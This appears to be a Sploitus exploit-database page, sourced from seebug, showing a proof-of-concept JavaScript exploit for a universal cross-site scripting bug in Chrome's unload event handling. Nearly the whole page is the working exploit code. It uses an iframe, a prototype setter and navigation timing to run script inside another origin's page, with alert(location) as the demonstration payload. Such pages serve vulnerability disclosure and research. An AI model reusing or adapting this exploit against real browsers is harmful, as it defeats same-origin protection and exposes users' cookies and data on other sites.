Sploitus

Exploit for Chrome Universal XSS via the unload_event module

seebug · 2017-04-24

Exploit Code

MARKDOWN26 lines
## https://sploitus.com/exploit?id=SSV:93030
<script>
var i = document.documentElement.appendChild(document.createElement('iframe'));
frames[0].name = 'i';
frames[0].Object.prototype.__defineSetter__('wasDispatched', f);

function f(b) {
  if (b) {
    var a = document.createElement('a');
    a.href = 'about:blank';
    a.target = 'i';
    a.click();
    d = i.contentDocument;
  }
}

i.onload = function() {
  i.onload = function() {
    d.body.setAttribute('onload', 'alert(location)');
    d.body.onload();
  }
  i.src = 'https://abc.xyz';
}

i.src = 'javascript:""';
</script>